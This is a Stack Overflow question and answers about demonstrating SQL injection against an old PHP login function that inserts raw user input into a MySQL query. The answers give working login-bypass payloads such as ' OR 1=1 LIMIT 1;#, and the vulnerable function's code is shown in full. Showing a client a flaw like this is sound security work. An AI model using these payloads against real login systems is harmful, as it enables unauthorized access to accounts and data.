how to inject sql in login process

问题

I've received an old application which completely lacks user input sanitization and is vulnerable to sql injection. To prove gravity of the situation i need to give client an example and what can be better to scare him than the login process. I've tried standard techniques but the problem with them is that they return multiple rows and due to nature of the code it returns an error instead of logging him in. What sql should i inject so that only a single row is returned and the execution reaches "return $access" line in order to pass the value of this "access" column to code calling this login function. The request is made via POST method and magic quotes are off on the server. Please let me know if you need any other information.

function login($username, $pw)
{
    global $dbname, $connection, $sqluser, $sqlpw;
    $db = mysql_connect($connection,$sqluser,$sqlpw); 
    mysql_select_db($dbname);
    if(!($dba = mysql_query("select * from users where username = '$username' AND password = '$pw'"))){
        printf("%s", sprintf("internal error5 %d:%s\n", mysql_errno(), mysql_error()));
        exit();
    }
    $row = mysql_fetch_array($dba);
    $access = $row['access'];
    if ($access != ''){
     return $access;
    } else {
        return "error occured";
    }
    mysql_close ($db);
}

Note: it turns out that magic_quotes_gpc is turned on and the php version is 5.2.17

Thanks

回答1:

Starting with the goal query:

SELECT   *
FROM     users
WHERE    username = '' OR '1'='1' 
AND      password = '' OR 1=1 LIMIT 1;#'

We get username is ' OR '1'='1 and password is ' OR 1=1 LIMIT 1;#

回答2:

It depends what values the login function is called with. If there's sanitation before passing it to the function it might actually be safe. However it's better to filter it right before the query so you can see that your built query is safe.

However if you have something like this:

login($_POST['user'], $_POST['pass']);

In that case just put foo' OR 1=1 OR ' in the user field in the login form :)

来源：https://stackoverflow.com/questions/26460623/how-to-inject-sql-in-login-process

标签

mysql

sql-injection